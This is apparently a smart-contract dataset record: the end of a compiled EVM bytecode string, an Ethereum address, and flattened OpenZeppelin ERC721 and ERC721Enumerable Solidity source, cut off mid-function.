5b6000806114896107e0565b141561149957600a549050611513565b6115106114ff6114a76107e0565b6114f1670de0b6b3a76400006114e36008546114d56009546114c761119a565b61175690919063ffffffff16565b6117d990919063ffffffff16565b6117d990919063ffffffff16565b61185f90919063ffffffff16565b600a546118e890919063ffffffff16565b90505b90565b600a5481565b61152d61152833610fdd565b6107ea565b611535610df8565b565b60075481565b611545611b69565b73ffffffffffffffffffffffffffffffffffffffff166115636111c5565b73ffffffffffffffffffffffffffffffffffffffff16146115ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611672576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611d9c6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000828211156117ce576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b818303905092915050565b6000808314156117ec5760009050611859565b60008284029050828482816117fd57fe5b0414611854576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611dc26021913960400191505060405180910390fd5b809150505b92915050565b60008082116118d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b8183816118df57fe5b04905092915050565b600080828401905083811015611966576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600060608473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8585604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001925050506040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310611a495780518252602082019150602081019050602083039250611a26565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611aab576040519150601f19603f3d011682016040523d82523d6000602084013e611ab0565b606091505b5091509150818015611af05750600081511480611aef5750808060200190516020811015611add57600080fd5b81019080805190602001909291905050505b5b611b62576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5472616e7366657248656c7065723a205452414e534645525f4641494c45440081525060200191505060405180910390fd5b5050505050565b600033905090565b6000818310611b805781611b82565b825b905092915050565b600060608573ffffffffffffffffffffffffffffffffffffffff166323b872dd868686604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200193505050506040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310611c975780518252602082019150602081019050602083039250611c74565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611cf9576040519150601f19603f3d011682016040523d82523d6000602084013e611cfe565b606091505b5091509150818015611d3e5750600081511480611d3d5750808060200190516020811015611d2b57600080fd5b81019080805190602001909291905050505b5b611d93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611de36024913960400191505060405180910390fd5b50505050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775472616e7366657248656c7065723a205452414e534645525f46524f4d5f4641494c4544a2646970667358221220253f49b90767e4cac92ca4269e3ac9daddf5eef56f2cce939885da7ccfa6a3ef64736f6c63430006060033
[ 4, 7 ]
0xf1C623E1D5f9BE225F8E894C6DD12beA35ef3856
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping (uint256 => address) private _owners; // Mapping owner address to token count mapping (address => uint256) private _balances; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). 